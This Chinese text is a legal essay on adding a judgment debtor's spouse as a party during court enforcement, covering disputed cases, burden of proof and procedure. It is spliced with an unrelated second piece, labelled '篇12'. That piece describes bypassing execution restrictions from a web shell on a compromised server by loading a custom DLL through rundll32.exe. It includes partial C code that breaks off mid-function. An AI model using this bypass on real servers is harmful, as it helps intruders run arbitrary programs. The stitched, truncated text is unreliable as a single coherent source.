在执行程序中追加被执行人配偶是指在法院执行程序中因被执行人无法全部履行生效法律文书所确定的义务，依法定事由裁定追加与被执行人具有特定权利和义务关系的配偶为被执行人，要求其共同履行生效法律文书所确定义务的司法行为。我国法院在民事执行程序中经常根据案件的情况决定变更和追加被执行人，追加被执行人配偶是经常出现的执行措施之一。据某地人民法院统计，201*年全年该法院进入执行程序的案件申请追加配偶案件164件，占全部追加主体案件总数的62.7%，较往年成上升趋势，说明在执行阶段追加被执行人配偶这一问题日益突出。我国法律对被执行人配偶的追加在《民事诉讼法》及相关司法解释中没有具体规定，就追加被执行人配偶为被执行人这一问题争议一直比较大，实践中各地法院做法也不一致。为此，笔者根据法院工作的实践，对此问题做以下肤浅研究。

一、追加被执行人配偶为被执行人的司法实践案例。

201*年7月在某地人民法院，原告张某起诉被告李某要求偿还借款50万元人民币。起诉期间原告张某未追加被告丈夫王某为该案共同被告，201*年11月，法院判令被告李某于判决生效之日起偿还原告张某50万元借款及利息。判决生效后，原告张某向法院申请执行。经查，被告李某无财产可供执行。同时查明被告李某丈夫王某名下登记有价值40万元房子。在案件执行期间，原告张某书面向法院提出申请追加被告丈夫王某为该案件被执行人。本案中，能否追加被告丈夫王某为被执行人成为案件争议焦点，对此存在三种不同处理意见。

第一种意见，认为这类型案件不能追加被告李某的丈夫王某为案件被执行人。其理由如下：1、根据不告不理的民事诉讼制度，原告张某未在诉讼阶段起诉被告李某丈夫王某，应当视为原告放弃要求被告丈夫王某偿还债务的权利。2、民事诉讼法律及相关司法解释也没有规定被执行人配偶属于追加被执行人的范围，在没有法律明文规定下，法院不能越生效裁判文书的范围进行强制执行，如果在执行程序追加被执行人配偶，也会严重剥夺被执行人配偶应当享有的如答辩、举证、质证、反诉、上诉等诉讼权利。

第二种意见，认为这类型案件不能再另行起诉，因为违背一案不能二审原则，应当在执行阶段予以解决。如果在执行中查明该债务系夫妻共同债务是属于夫妻共同债务，根据相关法律规定夫妻双方对共同债务负连带清偿责任，可以依法裁定追加其配偶为被执行人。如果不是夫妻共同债务则不应追加被执行人的配偶为被执行人。

第三种意见，认为这类型案件可以在执行阶段追加被执行人配偶，但是不能一概而论。如果在执行阶段可以明确夫妻共同债务的，应当予以追加被执行人的配偶，如果对债务性质难以确认时，不应当在执行阶段予以追加被执行人配偶，在执行阶段应不予处理为妥，由申请执行人另行向法院提起确认之诉。

本文笔者同意第三种意见，认为在执行程序中，可以在认定为夫妻共同债务的情况下，依据当事人申请可以追加被执行人配偶为被执行人。虽然在程序法上没有找到追加被执行人配偶的明文规定，但在实体法律上还是可以找到法律依据的。依照《婚姻法》及相关司法解释规定，夫妻共同债务应当由夫妻双方共同承担连带清偿责任，因此在认定夫妻共同债务前提下可以依法裁定追加被执行人配偶为执行人，执行被执行人配偶的夫妻共同财产和个人财产。如果在执行阶段存在当事人对债务争议较大时，不适合在执行阶段认定债务性质的，法院应当做出不予处理的决定，由申请执行人应另行提出确认之诉。在实践中，不少法官认为这类型案件不能再起诉，因为违反了一案不能两审司法原则。这类观点是错误的，已经生效的判决是给付之诉，而依据该判决提出确认债务性质的诉讼是确认之诉，虽诉求都是指向同一标的，但这两个诉讼是法律性质不同的诉讼，因此再向法院提起确认之诉并不违背一案不能两审司法原则，是符合法律规定的。

二、执行程序中追加被执行人的配偶为执行人的法理依据。

（一）在执行程序中，追加被执行人的配偶为被执行人是符合法律规定的。12月23日，最高人民法院在答复网民关于建议追加配偶为被执行人的问题中称：“我国民事诉讼法及相关司法解释对此问题没有作出具体的规定，实践中做法也不一致，该问题解决需要制定司法解释进一步明确。即使允许追加被执行人配偶为被执行人也不能一概而论。追加被执行人的配偶为被执行人应当注意的问题，首先是审查确定执行依据确定的债务是否是夫妻共同财产，只有夫妻共同债务，才能在执行程序中追加其原配偶为被执行人。”该答复明确了在认定夫妻共同债务前提下，在民事执行程序中，法院有权依法追加被执行人配偶为被执行人并依法强制执行其所有财产。被执行人配偶虽然做为生效法律文书的案外人，但依据法律规定也负有对夫妻共同债务承担连带清偿责任，法院可以在执行程序中通过民事裁定将被执行人配偶追加为被执行人共同偿还夫妻共同债务，执行其名下的所有财产。

（二）、追加被执行人配偶为被执行人的举证问题。目前法律规定被执行人配偶对夫妻债务的认定有异议时，就要对是否属于夫妻个人债务承担举证责任。根据《最高人民法院关于适用〈中华人民共和国婚姻法〉若干问题的解释（二）》第二十四条的规定：“债权人就婚姻关系存续期间夫妻一方以个人名义所负债务主张债权的，应当按夫妻共同债务处理。但夫妻一方能够证明债权人与债务人明确约定为个人债务，或者能够证明属于婚姻法第十九条第三款规定的情形的除外。”该法律是以推定为夫妻共同债务为原则，只要存在被执行人的配偶无法举证该债务是个人债务，法院可以依据上述法律推定为夫妻共同债务，要求被执行人配偶负有清偿的义务。

在司法实务中被执行人的配偶举证是十分困难的，司法实践中大量出现因举证不能造成被执行人配偶承担偿还不合理的债务情况。比如未参加实际借款行为的被执行人配偶经常连债权人是谁有时都不知道；有的是在法院送达后才知欠款事情，对于债务发生时情况并不知情，而且很多借贷行为都发生在几年前，已经时过境迁；另外还经常存在实际债权人故意隐瞒其债务的非法性，以及债权人和被执行人恶意串通损害被执行人配偶财产权利等各种情形；更何况婚姻中财产关系只是夫妻双方知晓，且是基于互相信任关系存在的，也很难有相应的证据进行法律上举证。如果因举证不能而造成被执行人配偶连带偿还夫妻个人债务或者非法债务时，显然有失实体上的公正造成社会不良影响。例如目前司法实践中出现比较多的是担保公司或者私人借高利贷的非法债务问题，在执行阶段债权人向法院申请追加被执行人配偶要求偿还巨额非法债务的情况，上述债务被执行人配偶经常因为举证不能而导致偿还巨额非法债务。因此在司法实践中，如果追加的被执行人配偶一方对该债务争议较大或者存在重信重访情况时，不能简单的依据《最高人民法院关于适用〈中华人民共和国婚姻法〉若干问题的解释（二）》第二十四条直接推定为夫妻共同债务。在执行程序中存在情理上宜作为个人债务认定情形或者对债务性质难以判断情况，不适合在执行程序中作出对该债务性质的判断，应当作出不予处理的决定，申请执行人应当另行起诉确认该债务性质。同时如果在法院对被执行人配偶做出共同债务认定后，被执行人的配偶一方如果主张该债务为个人债务的，也可以另行提起确认之诉。

四、在执行程序中不予追加被执行人配偶为被执行主体几种情形。

（一）、属于夫妻个人债务不予追加为被执行主体。执行程序中，对所涉案件的债务容易甄别是个人债务还是夫妻共同债务，法院可以在执行程序中直接作出认定。在夫妻关系存续期间，配偶一方所欠的债务如果属于个人债务，不予追加被执行人配偶，仅能执行被执行人的一方个人财产及夫妻共同财产中个人份额。申请执行人未申请追加被执行人配偶为被执行人的，应当按被执行人个人债务处理。

（二）被执行人的担保债务不能在执行阶段追加其配偶。担保债务是以一定的民事法律主体的资信为他人的债务提供担保，其法律目的就是促使债务人履行债务，保障债权人的债权能够顺利实现。担保债务是债权人信任担保一方的个人信用行为，夫妻双方在法律具有独立的人格，能够独立从事于婚姻关系无关的个人法律行为，夫妻双方对担保债务不存在必然的连带关系。对于被执行人的配偶对担保债务是否属于夫妻共同债务，是否承担连带清偿责任，这类问题不宜在执行阶段直接做出认定，应当由被执行人另行起诉为妥。因此，对于被执行人的担保债务应当不予追加被执行人配偶。

（三）被执行人已离婚的原配偶应当不予追加为案件的被执行人。在实践中出现过某地法院在执行程序中直接追加被执行人已离婚的原配偶为案件的被执行人情况，其理由如下：在婚姻存续期间，夫妻一方以个人名义对外负债的案件原则上应当按夫妻共同债务执行；夫妻共同财产和双方的个人财产都属可执行财产的范围；离婚时的协议或生效法律文书中财产分割的内容，不能对抗共同债务案件的申请执行人。上述法院的做法笔者并不认同，即使执行中的债务认定为是存续期间婚姻关系的夫妻共同债务，也不能适用最高人民法院关于适用《中华人民共和国婚姻法》若干问题的解释（二）第二十五条的规定，直接追加被执行人已离婚的原配偶为被执行人。该条解释规定，“当事人的离婚协议或者人民法院的判决书、裁定书、调解书已经对夫妻财产分割问题作出处理的，债权人仍有权就夫妻共同债务向男女双方主张权利。”这条司法解释规定的是赋予债权人的'仅仅是诉权，并不是可以直接追加被执行人已离婚原配偶的法律依据。在执行程序追加已经离婚的配偶并无相关法律规定，并且夫妻双方婚姻关系的解除也不利于被执行人配偶在执行程序中举证，因此法院在执行中查明存在被执行人配偶已经离婚情况时，就不能直接追加被执行人原配偶为案件的被执行人。这类案件不宜在执行程序中直接认定被执行人已离婚的原配偶是否承担连带清偿责任，应当不予处理决定为妥，申请执行人应另行向人民法院提起对被执行人的原配偶确认之诉。

五、追加被执行人配偶为被执行主体适用的法律程序。

追加被执行人配偶为被执行人涉及到履行法律义务者的重新确定，应当要经过非常严格的法律程序。在现行的法律和司法解释对追加被执行人的配偶、追加申请如何提出、追加的程序等法律均无明确规定。根据相关的司法实践，依照我国《民事诉讼法》及相关司法解释追加被执行人配偶为被执行人应当经过如下程序：

（一）追加被执行人必须以申请执行人的申请为前提。申请执行人必须提出追加被执行人配偶为被执行人的书面申请，应当写明追加被执行人配偶身份情况、应履行的义务、所依据的事实和理由。原被执行人不能履行义务后，即使案件中有追加被执行人配偶的法定情形，如申请执行人不主动申请，应当视为其放弃民事权利行为。法院在没有当事人申请情况下，不能依职权追加被执行人配偶为案件的被执行人。

（二）追加配偶为被执行主体的时效性问题。申请追加配偶为被执行主体时效应当适用执行时效的有关规定，我国民事诉讼法第二百三十九条规定：“申请执行的期间为二年。”生效法律文书的法律规定，即适用与被执行人，同样也适用于追加的被执行人配偶。因此要求追加被执行人配偶为被执行人的，一定要在两年执行申请期间内。如果申请执行人超过申请执行时效提交申请追加，应当裁定不予以追加。

（三）追加被执行人配偶为被执行人的执行听证程序和裁定程序。法院对申请执行人的申请进行审查，必要时可依法调查有关证据。法院应依据申请执行人提供的线索和证据进行执行听证，召集追加的被执行人和执行当事人进行举证、质证，赋予其申辩的机会，对有关案件事实进行严格审查。听证会举行后，由合议庭作出是否追加的裁决，制作并送达裁定书。()裁定书应写明追加的理由和法律依据，并分别送达申请执行人、被执行人和追加后的被执行人。裁定书送达即生效。在无法送达被执行人配偶的情况下，法院也应当不予处理决定，要求申请执行人应另行提起确认之诉。

（四）追加被执行人配偶为被执行主体的执行异议程序。法院裁定追加被执行人后，追加的被执行人如不服裁定，有权在裁定期限内向执行机构提出书面异议。《民事诉讼法》第202条规定：“当事人、利害关系人认为执行行为违反法律规定的，可以向负责执行的人民法院提出书面异议。当事人、利害关系人提出书面异议的，人民法院应当自收到书面异议之日起十五日内审查，理由成立的，裁定撤销或者改正；理由不成立的，裁定驳回。当事人、利害关系人对裁定不服的，可以自裁定送达之日起十日内向上一级人民法院申请复议。”执行法院在裁定追加被执行人之后，向新的被执行人发出执行通知书，责令其在指定期限内履行义务，逾期不履行执行法院可以强制执行。目前司法实践中当事人或利害关系人对执行程序中有关争议的裁定只能申诉，不能向上一级法院提起上诉和复议。如果被执行人配偶对民事裁定书中认定夫妻共同债务存在异议的，被执行人配偶也可以另行提起民事确认夫妻个人债务之诉，但在诉讼期间不影响案件的执行。

结语

法院执行难作为目前司法实践中普遍存在问题，需要通过多种途径予以解决，追加被执行人配偶为被执行人作为一种有效的强制执行措施，仍需要进一步通过相关司法解释和在未来出台的《民事强制执行法篇》中明确规定，强化该追加程序的完善。

篇12：艰难的在webshell中执行程序

摘要：一个web shell，系统权限设置得很好，常用的exe都无权执行，可写目录传上去的exe文件，也没有执行权限。最终发现设置权限的时候漏掉了rundll32.exe，如是就写了这个个代码。

测试开始的时候，PHP似乎没权执行命令。本来打算用php本身的一些溢出问题，溢出一个低权限的shell来的。后来意外发现使用proc_open函数可以执行一些内部命令，只是外部命令和目录都做了比较严格的权限设置而已。于是就测试可能可以利用的外部命令，最终测试到了rundll32.exe程序，终于没有返回权限不足。写一个dll，给rundll32调用，就可以间接的执行自己上传的任意exe文件了。也许是windows权限的一点小问题？毕竟使用rundll32间接执行的exe，身份还是php shell的guest权限，虽然调用者变了――真正原因有待进一步研究。

/*************************************************************************************************

* 遇到一个服务器权限设置很畸形，系统exe基本都无法执行，自己上传的exe到可写目录，也不能执行。

* 遗憾的是，他们漏掉了rundll32.exe这个文件的权限，如是……

* code by wustyunshu###hotmail.com, 2008,11,13,23:20

*************************************************************************************************/

#include

// dll入口

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )

{

return true;

}

void RunExe( HWND hwnd, HINSTANCE hinst, LPSTR szCmdLine, int nCmdShow)